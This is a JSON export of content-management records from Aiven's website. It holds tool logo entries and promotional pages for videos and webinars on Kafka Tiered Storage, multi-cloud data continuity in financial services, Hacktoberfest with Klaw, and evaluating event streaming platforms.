{"__i18n_lang":"en","_createdAt":"2022-09-01T13:46:18Z","_id":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_rev":"9eyf8qvxxNsqIJlFBXZSuU","_type":"tool","_updatedAt":"2022-10-08T09:18:07Z","logo":{"_type":"logoItem","logoHeight":40,"logoImage":{"_type":"mainImage","alt":"Aiven Console logo","asset":{"_ref":"image-589ce60f6db001643ca299c522b0fd35647e6cf5-164x50-svg","_type":"reference"}},"title":"Aiven Console"},"name":"Aiven Console"} {"__i18n_lang":"en","_createdAt":"2024-08-23T10:02:59Z","_id":"dbcea4b7-b6c9-43d7-a23f-b09594966858","_rev":"tVsvU5cy3KqqbnxT6UJGaE","_type":"tool","_updatedAt":"2024-08-23T10:02:59Z","group":"stream","logo":{"_type":"logoItem","logoHeight":48,"logoImage":{"_type":"mainImage","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"title":"Klaw"},"name":"Klaw"} {"__i18n_lang":"en","_createdAt":"2024-08-23T10:03:30Z","_id":"db342e52-911f-4028-8bf6-22a131000126","_rev":"tVsvU5cy3KqqbnxT6UJH7j","_type":"tool","_updatedAt":"2024-08-23T10:03:30Z","group":"stream","logo":{"_type":"logoItem","logoHeight":48,"logoImage":{"_type":"mainImage","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"title":"Karapace"},"name":"Karapace"} {"__i18n_lang":"en","_createdAt":"2022-08-30T14:53:02Z","_id":"8986d4de-d1f0-456a-9b22-94d18130dded","_rev":"VeNKqGNmt13PzvGhqs0m6S","_type":"tool","_updatedAt":"2024-01-29T11:06:32Z","logo":{"_type":"logoItem","ctaLink":"https://aiven.io/docs/tools/kubernetes","logoHeight":60,"logoImage":{"_type":"mainImage","alt":"Kubernetes logo","asset":{"_ref":"image-5dd414efed92dcb8745bbd274926a72dfebfc88a-512x512-png","_type":"reference"}},"title":"Kubernetes"},"name":"Kubernetes (Square)"} {"__i18n_lang":"en","_createdAt":"2022-08-30T14:54:23Z","_id":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_rev":"VeNKqGNmt13PzvGhqs0k9u","_type":"tool","_updatedAt":"2024-01-29T11:05:49Z","logo":{"_type":"logoItem","ctaLink":"https://aiven.io/docs/tools/cli","logoHeight":60,"logoImage":{"_type":"mainImage","alt":"CLI logo","asset":{"_ref":"image-ed2a8c527011a20481fb189f3b593b0146265027-512x512-png","_type":"reference"}},"title":"CLI"},"name":"CLI (Square)"} {"__i18n_lang":"en","_createdAt":"2022-08-30T14:55:02Z","_id":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_rev":"VeNKqGNmt13PzvGhqs0igg","_type":"tool","_updatedAt":"2024-01-29T11:05:25Z","logo":{"_type":"logoItem","ctaLink":"https://aiven.io/docs/tools/api","logoHeight":60,"logoImage":{"_type":"mainImage","alt":"API logo","asset":{"_ref":"image-24006679eedfbed405d056e49e06ad27dfd83835-512x512-png","_type":"reference"}},"title":"API"},"name":"API (Square)"} {"__i18n_lang":"en","_createdAt":"2023-09-18T09:39:54Z","_id":"a620b1f7-7289-4ed2-903a-f2119ae3b05d","_rev":"kdSZ3lyplq7ihlwbziY4WQ","_type":"video","_updatedAt":"2023-10-09T10:49:56Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"1e83928cb466","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-645bc93e17703a6f48254a02d9d577866628b5f2-576x581-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","columnOne":[{"_key":"eebbbcbec21e","_type":"block","children":[{"_key":"5ba8bb3e1fbe","_type":"span","marks":[],"text":"Hear from the experts"}],"markDefs":[],"style":"h3"},{"_key":"bdc1d00d2a1e","_type":"block","children":[{"_key":"46d4d41c99bb","_type":"span","marks":[],"text":"Get questions answered about tiered storage, challenges, Aiven solutions, and impact on developer experience with livestream host Jenn Junod, and panel moderator Francesco Tisiot."}],"markDefs":[],"style":"normal"},{"_key":"b877e3d47afd","_type":"block","children":[{"_key":"700c9e483048","_type":"span","marks":[],"text":"Hear from Josep Prat, member of the Apache Kafka maintainers, who will focus on the "},{"_key":"991cc7118933","_type":"span","marks":["3f0dd7992b9f"],"text":"technical underpinnings required to make tiered storage"},{"_key":"066029b3223d","_type":"span","marks":[],"text":" happen, and will also explore its impact on the open-source Kafka community and the developer experience"}],"markDefs":[{"_key":"3f0dd7992b9f","_type":"link","href":"https://dzone.com/articles/the-stairway-to-apache-kafka-tiered-storage"}],"style":"normal"},{"_key":"8648ad6ed702","_type":"block","children":[{"_key":"d0eb6fd5b2d9","_type":"span","marks":[],"text":"The special guest will delve into the intricacies of tiered storage, sharing their firsthand experience with implementing and testing this game-changing solution in Kafka."}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"47cedf672e7d","_type":"block","children":[{"_key":"de8d5c5572480","_type":"span","marks":[],"text":"Unlock the secrets of tiered storage"}],"markDefs":[],"style":"h3"},{"_key":"1a80a1d37dd8","_type":"block","children":[{"_key":"cc7d26ad6b1d0","_type":"span","marks":[],"text":"Tiered Storage offers several key advantages such as enhanced data storage flexibility, improved reliability and risk mitigation and accelerated service scalability. Join the stream to learn how this will revolutionize your data streaming. "}],"markDefs":[],"style":"normal"},{"_key":"bc18ab5ad07c","_type":"block","children":[{"_key":"7e51547a741a","_type":"span","marks":[],"text":"Futuristic views"}],"markDefs":[],"style":"h3"},{"_key":"2b02067a5387","_type":"block","children":[{"_key":"60b038a4c722","_type":"span","marks":[],"text":"Get a look at where tiered storage is headed and what's next on the horizon."}],"markDefs":[],"style":"normal"},{"_key":"352f18155796","_type":"block","children":[{"_key":"e96573042d45","_type":"span","marks":[],"text":"Be a part of the OSS community"}],"markDefs":[],"style":"h3"},{"_key":"e3cdebe2a178","_type":"block","children":[{"_key":"ca874bc9fbce","_type":"span","marks":[],"text":"This stream is kicking off at the beginning of Hacktoberfest. If you're looking to get into open source, this is your perfect start!\n\nRead more about power of open source: "},{"_key":"6488a8e607a7","_type":"span","marks":["4b19207fb398"],"text":"The Stairway to Apache Kafka® Tiered Storage"},{"_key":"fbd7e7980a7e","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[{"_key":"4b19207fb398","_type":"link","href":"https://dzone.com/articles/the-stairway-to-apache-kafka-tiered-storage"}],"style":"normal"}],"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Why should you attend?","variant":"twoColumn"},{"_key":"dab9cf6a3e5b","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"73f0d1803b06","_ref":"5b409a95-23dd-4956-910a-df038eb978ff","_type":"reference"},{"_key":"605ea91f6ce9","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"5ae5f5369569","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"},{"_key":"fe3f984e332a","_ref":"70ba1bb7-5499-4e72-821e-77f11230512e","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Speakers","variant":"withBio"},{"_key":"241faa449611","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"b3573560caaa","_ref":"2ab8d211-0ea4-4e1c-9cb8-0d69dae7f026","_type":"reference"},{"_key":"ff9fd0015ae0","_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"},{"_key":"9d865fc57e95","_ref":"670e91f4-eed4-4549-beed-1f049c3efe08","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"image":{"_type":"mainImage","asset":{"_ref":"image-53200d598f12cb0f3491fbd63be31758c5a08014-6000x3375-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"b6981f076941","_type":"block","children":[{"_key":"b613954bb134","_type":"span","marks":[],"text":"Are you passionate about data, storage, and data streaming systems like Apache Kafka®? Tiered Storage, a feature of Apache Kafka 3.6 which allows the offloading of data to object storage in the cloud, is the game-changer you’ve been waiting for.\n\nAiven experts and special guest "},{"_key":"ee0dabb20fd2","_type":"span","marks":["strong"],"text":"Francois Visconte from Datadog "},{"_key":"d3b3b01537c3","_type":"span","marks":[],"text":"will unpack everything you need to know about Kafka Tiered Storage. \n\n"},{"_key":"8d9cea5e1f4c","_type":"span","marks":["strong"],"text":"Stay tuned for the next livestreams, events and news"}],"markDefs":[],"style":"normal"},{"_key":"2612adcf0f7c","_type":"block","children":[{"_key":"f65adc8f28dd","_type":"span","marks":[],"text":"Sign up for the Aiven newsletter:"}],"markDefs":[],"style":"normal"},{"_key":"c887135c3b61","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2022-01-19/76c87","iframeTitle":"Sign up for the Aiven newsletter","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","rounded":false}],"summary":"Unlock the secrets of Kafka Tiered Storage: Discover what it is, why you need it, and how it will revolutionize your data streaming.","title":"Unlocking the future of Kafka with Tiered Storage: Expert insights and what’s next","ytId":"0QWWpah7sFE"},"publishedAt":"2023-10-04T09:35:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"0bc2527c-3806-411b-831d-17c246d861f7","_type":"reference"},"tags":[{"_key":"bc0a1bebef07","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e7b353090ac7","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"18cc9d847f1e","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Kafka with Tiered Storage: Discover what it is, why you need it, and how it will revolutionize your data streaming.","metaImage":{"_type":"mainImage","alt":"Unlock the Secrets of Kafka Tiered Storage","asset":{"_ref":"image-d4471dc09404e421781d5e561d2565babf4219db-1200x630-jpg","_type":"reference"}},"metaTitle":"Livestream | Unlock the Secrets of Kafka Tiered Storage"},"slug":{"_type":"slug","current":"/video/unlocking-the-future-of-kafka-with-tiered-storage"}} {"__i18n_lang":"en","_createdAt":"2024-04-02T02:04:49Z","_id":"39166785-3582-4fc6-9e43-29e08857b02c","_rev":"CWoXqYNr7QRdiSPoRqGDXp","_type":"video","_updatedAt":"2024-04-04T01:25:23Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"241faa449611","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"fa3b5b81da30","_ref":"b79e4e66-6364-4790-8d19-f11ec4b313fc","_type":"whitepaper"},{"_key":"b81a2440cdde","_ref":"b3eeb391-d523-41e6-bfdf-9c23609972c7","_type":"caseStudy"},{"_key":"503f03f6ced0","_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"image":{"_type":"mainImage","asset":{"_ref":"image-53200d598f12cb0f3491fbd63be31758c5a08014-6000x3375-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"b6981f076941","_type":"block","children":[{"_key":"b613954bb134","_type":"span","marks":[],"text":"This conversation with iTWire delves into the implications of prudential standard CPS 230 for APRA-regulated entities in the financial sector in Australia. Similarly to other Basel 3.1 aligned frameworks within Asia Pacific, Europe, UK and US, this standard reshapes the landscape, compelling organizations to fortify their operations. "}],"markDefs":[],"style":"normal"},{"_key":"4ce8282594fe","_type":"block","children":[{"_key":"019cf8286eb3","_type":"span","marks":[],"text":"Aiven Solution Architect Michael Coates unveils Aiven's solutions, empowering companies to seamlessly manage their data across multiple cloud providers, ensuring uninterrupted business continuity and safeguarding against vendor lock-in risks.\n\n"},{"_key":"8d9cea5e1f4c","_type":"span","marks":["strong"],"text":"Stay tuned for the next livestreams, events and news"}],"markDefs":[],"style":"normal"},{"_key":"2612adcf0f7c","_type":"block","children":[{"_key":"f65adc8f28dd","_type":"span","marks":[],"text":"Sign up for the Aiven newsletter:"}],"markDefs":[],"style":"normal"},{"_key":"c887135c3b61","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2022-01-19/76c87","iframeTitle":"Sign up for the Aiven newsletter","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","rounded":false}],"summary":"Uncover how Financial Services businesses ensure business continuity and meet compliance through seamless cloud data management. Watch the interview. ","title":"Managing data across cloud providers, to ensure continued operations during times of risk and disruption in Financial Services.","ytId":"y_1QDmj56iU"},"publishedAt":"2024-04-02T09:39:08.802Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"0bc2527c-3806-411b-831d-17c246d861f7","_type":"reference"},"tags":[{"_key":"c676828260e6","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"392c862720fd","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Uncover how Financial Services businesses ensure business continuity and meet compliance through seamless cloud data management. Watch the interview. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5cb064c109909b6ab1e160194e90f9794f01aaa6-2400x1256-png","_type":"reference"}},"metaTitle":"Ensuring data continuity in Finance amid cloud risks."},"slug":{"_type":"slug","current":"/video/managing-data-across-clouds-for-continued-operations-in-fsi"}} {"__i18n_lang":"en","_createdAt":"2023-10-06T05:44:33Z","_id":"fd59b664-9ede-4f81-abdd-2fbc59d7e32a","_rev":"jlE3yG3C5Lxk0cUOqez9di","_type":"video","_updatedAt":"2024-05-28T06:43:31Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"1e83928cb466","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-645bc93e17703a6f48254a02d9d577866628b5f2-576x581-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","columnOne":[{"_key":"b7302e664c70","_type":"block","children":[{"_key":"7514d524a0470","_type":"span","marks":["strong"],"text":"Get the Scoop on "},{"_key":"9e31c538e4e7","_type":"span","marks":["539c2a4b6971","strong"],"text":"Hacktoberfest 2023"},{"_key":"181313866828","_type":"span","marks":["strong"],"text":": "},{"_key":"33a3db49fa62","_type":"span","marks":[],"text":"Learn what’s new in the 10th year of this incredible celebration of open source software, hosted by DigitalOcean. "}],"level":1,"listItem":"bullet","markDefs":[{"_key":"539c2a4b6971","_type":"link","href":"https://hacktoberfest.com/"}],"style":"normal"},{"_key":"98fe999cf1a2","_type":"block","children":[{"_key":"8a418c68e0820","_type":"span","marks":["strong"],"text":"Demystifying Klaw: "},{"_key":"091539b4c5ee","_type":"span","marks":[],"text":"Understand "},{"_key":"fee9ce12ab45","_type":"span","marks":["c5e84020bf36"],"text":"what Klaw is all about"},{"_key":"631bc64cbbe1","_type":"span","marks":[],"text":", its journey through acquisition, and its ongoing active development. Aiven's very own Mirjam Aulbach and Mathieu Anderson will give you the inside story. \n"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c5e84020bf36","_type":"link","href":"https://www.youtube.com/watch?v=bYDPD0GsV8g\u0026t=0s"}],"style":"normal"}],"columnTwo":[{"_key":"acfc77f6c953","_type":"block","children":[{"_key":"bfeeb8bc1f94","_type":"span","marks":["strong"],"text":"Contribute like a Pro: "},{"_key":"10c2fc2cf279","_type":"span","marks":[],"text":"Tim Mamo from DigitalOcean will share tips on how to prepare and participate in Hacktoberfest, whether you're a newbie contributor or a seasoned maintainer."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b5510a6a1539","_type":"block","children":[{"_key":"e92eda372287","_type":"span","marks":["strong"],"text":"Stronger Together: "},{"_key":"6ab1c8f993c0","_type":"span","marks":[],"text":"Learn about the synergies between Aiven and DigitalOcean as they partner up, not just for Hacktoberfest but for broader developer success."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a393fae2a6f7","_type":"block","children":[{"_key":"1e6c37c41a33","_type":"span","marks":["strong"],"text":"Actionable Takeaways: "},{"_key":"6a634b83412f","_type":"span","marks":[],"text":"Know how you can contribute to the Klaw repositories after the session. "},{"_key":"05161f48ae80","_type":"span","marks":["a1482393f7a7"],"text":"Klaw Repos"},{"_key":"80eedcce2b19","_type":"span","marks":[],"text":" | "},{"_key":"c14e528df768","_type":"span","marks":["0c47638dc6a3"],"text":"Klaw Docs "}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a1482393f7a7","_type":"link","href":"https://github.com/Aiven-Open/klaw"},{"_key":"0c47638dc6a3","_type":"link"}],"style":"normal"},{"_key":"28f670cb2f34","_type":"block","children":[{"_key":"6d71bc0846c8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"disabled":true,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Why should you attend?","variant":"twoColumn"},{"_key":"dab9cf6a3e5b","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"73f0d1803b06","_ref":"5b409a95-23dd-4956-910a-df038eb978ff","_type":"reference"},{"_key":"cda358908dd8","_ref":"d971c781-e24e-4c21-a76f-713d51437f90","_type":"reference"},{"_key":"0154acc1c398","_ref":"efd21c88-4939-4686-9adc-0ecb27d2229e","_type":"reference"},{"_key":"7869474baf3f","_ref":"5e825569-4da1-447e-ba51-6cecb625a4c2","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Speakers","variant":"withBio"},{"_key":"241faa449611","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"04a3bc230c97","_ref":"93be4feb-f9e0-41bf-8d63-3b83cb3b8416","_type":"reference"},{"_key":"6822d2a63485","_ref":"48489b60-d438-4bb5-abd0-9950d2078514","_type":"reference"},{"_key":"46be595f6f7f","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/kafka-klaw","title":"Read more"},"image":{"_type":"mainImage","alt":"Aiven docs","asset":{"_ref":"image-ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"afb19b91d77d","_type":"block","children":[{"_key":"af968f3dc27a0","_type":"span","marks":[],"text":"This article provides you with the steps to connect Aiven for Apache Kafka® service with Klaw."}],"markDefs":[],"style":"normal"}],"tagline":"Docs","title":"Connect Aiven for Apache Kafka® with Klaw","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"image":{"_type":"mainImage","asset":{"_ref":"image-53200d598f12cb0f3491fbd63be31758c5a08014-6000x3375-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"ce76a664f983","_type":"block","children":[{"_key":"bde2afd47908","_type":"span","marks":["strong"],"text":"Calling all open source enthusiasts and developer advocates!"}],"markDefs":[],"style":"normal"},{"_key":"1c08cf29ecb8","_type":"block","children":[{"_key":"cc7424eb5cc3","_type":"span","marks":[],"text":"Are you passionate about open source, developer relations, and cloud technologies? Do you have a special affinity for Hacktoberfest? Or perhaps, you're interested in the Klaw project and want to know more about its role at Aiven? Look no further! If you miss the livestream, no worries we have it recorded. Watch the video to learn more.\n\n"},{"_key":"8d9cea5e1f4c","_type":"span","marks":["strong"],"text":"Sign up for our newsletter to stay tuned for the next livestreams, events and news:"}],"markDefs":[],"style":"normal"},{"_key":"d3b9db514641","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":100,"iframeSource":"https://go.aiven.io/l/890043/2022-01-19/76c87","iframeTitle":"Newsletter subscription","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","rounded":false}],"summary":"Explore your passion for open source, dev relations, cloud tech, and Hacktoberfest! Learn about Klaw project's role at Aiven. Join us!","title":"Unveiling the Magic of Hacktoberfest with Klaw","ytId":"PkviXlBrC5U"},"publishedAt":"2023-10-11T11:41:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"0bc2527c-3806-411b-831d-17c246d861f7","_type":"reference"},"tags":[{"_key":"e7b353090ac7","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"18cc9d847f1e","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"da77bf8083ab","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Explore your passion for open source, dev relations, cloud tech, and Hacktoberfest! Learn about Klaw project's role at Aiven. Join us!","metaImage":{"_type":"mainImage","alt":"Unveiling the Magic of Hacktoberfest with Klaw","asset":{"_ref":"image-6ed3fb70f59eab0ccbb995834760805d5d26246f-1920x1080-png","_type":"reference"}},"metaTitle":"Livestream | Unveiling the Magic of Hacktoberfest with Klaw"},"slug":{"_type":"slug","current":"/video/unveiling-the-magic-of-hacktoberfest-with-klaw"}} {"__i18n_lang":"en","_createdAt":"2023-01-10T11:06:36Z","_id":"51e0d3e8-c014-4c89-8519-5b184ae8e54f","_rev":"CehdQyS8z5lmiPrCUkZQEQ","_type":"webinar","_updatedAt":"2023-05-09T10:42:54Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":true,"addSpaceTop":false,"align":"left","avatars":[{"_key":"9824476b519d","_ref":"e415337a-e516-496a-97c8-46f39b3a28f9","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"6b43f65fe333","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-29d3ec44112d6b4fa8d72473f3803547a1c74601-900x847-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"},"title":"Calculate your savings"},"rounded":true,"tagline":"ROI","text":[{"_key":"604e9859694f","_type":"block","children":[{"_key":"3ef0497bc603","_type":"span","marks":[],"text":"Want to find out exactly how much time and money Aiven can save your company? In just 5 minutes, our calculator could help you save millions!"}],"markDefs":[],"style":"normal"}],"title":"Try our business value calculator - and save money","variant":"mediaLeft"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2022-11-16/lmv1b","iframeTitle":"Webinar Event streaming platforms","title":"Watch on demand"},"subtitle":[{"_key":"3b2f5e1eb87e","_type":"block","children":[{"_key":"4fe0abdcba96","_type":"span","marks":[],"text":"During this webinar, David Esposito shares lessons learned from event streaming use cases in every industry over a global customer base:"}],"markDefs":[],"style":"normal"},{"_key":"92dd86097858","_type":"block","children":[{"_key":"3515c2ce0b68","_type":"span","marks":[],"text":"How to balance the total cost of ownership (TCO) of streaming solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"42025b0eeb9f","_type":"block","children":[{"_key":"416fdfec89e5","_type":"span","marks":[],"text":"How to meet your critical recovery time objectives when choosing a streaming solution"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c13a7ede3923","_type":"block","children":[{"_key":"0fc020312669","_type":"span","marks":[],"text":"What does that mean for an engineering team’s on-call schedule?"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"62866826aed9","_type":"block","children":[{"_key":"505e6de957eb","_type":"span","marks":[],"text":"Aiven provides a fully managed "},{"_key":"9d384b3b6848","_type":"span","marks":["8a12b47df7c7"],"text":"Apache Kafka®"},{"_key":"155d8337b5f6","_type":"span","marks":[],"text":" solution and open source databases-as-a-service, and during this webinar we will look at how to critically analyze an event streaming platform and solution, thinking like a data/software architect."}],"markDefs":[{"_key":"8a12b47df7c7","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"}],"summary":"Aiven provides a fully managed Apache Kafka® solution and open source databases-as-a-service, and during this webinar we will look at how to critically analyze an event streaming platform and solution, thinking like a data/software architect.","thankyouContent":[{"_key":"fbd89b4997a7","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Event streaming platforms","text":[{"_key":"44529d336668","_type":"block","children":[{"_key":"d73e0f88fab80","_type":"span","marks":[],"text":"During this webinar, David Esposito shares lessons learned from event streaming use cases in every industry over a global customer base:"}],"markDefs":[],"style":"normal"},{"_key":"43220a8cd35e","_type":"block","children":[{"_key":"8609a9f349ef0","_type":"span","marks":[],"text":"How to balance the total cost of ownership (TCO) of streaming solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df011f9fb5ca","_type":"block","children":[{"_key":"145f150a75df0","_type":"span","marks":[],"text":"How to meet your critical recovery time objectives when choosing a streaming solution"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3cbd098bca3f","_type":"block","children":[{"_key":"27e9d1eadd110","_type":"span","marks":[],"text":"What does that mean for an engineering team’s on-call schedule?"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"4 ways to think like a software architect while evaluating solutions","variant":"mediaLeft","ytId":"5Y4RENkDypY"}],"title":"Event streaming platforms: 4 ways to think like a software architect while evaluating solutions","ytId":"5Y4RENkDypY"},"publishedAt":"2022-12-02T10:46:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"234b43039f2f","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"7c5f657ed7a7","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"1ccd5e429d28","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"4 ways to think like a software architect while evaluating solutions, lessons learned from event streaming use cases in every industry.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7e56fa414589bf44b3277fe087cca0c76f11bbd9-1280x720-jpg","_type":"reference"}},"metaTitle":"Event streaming platforms webinar | Aiven Webinar"},"slug":{"_type":"slug","current":"/webinar/4-ways-to-think-like-an-sa-ondemand"}} 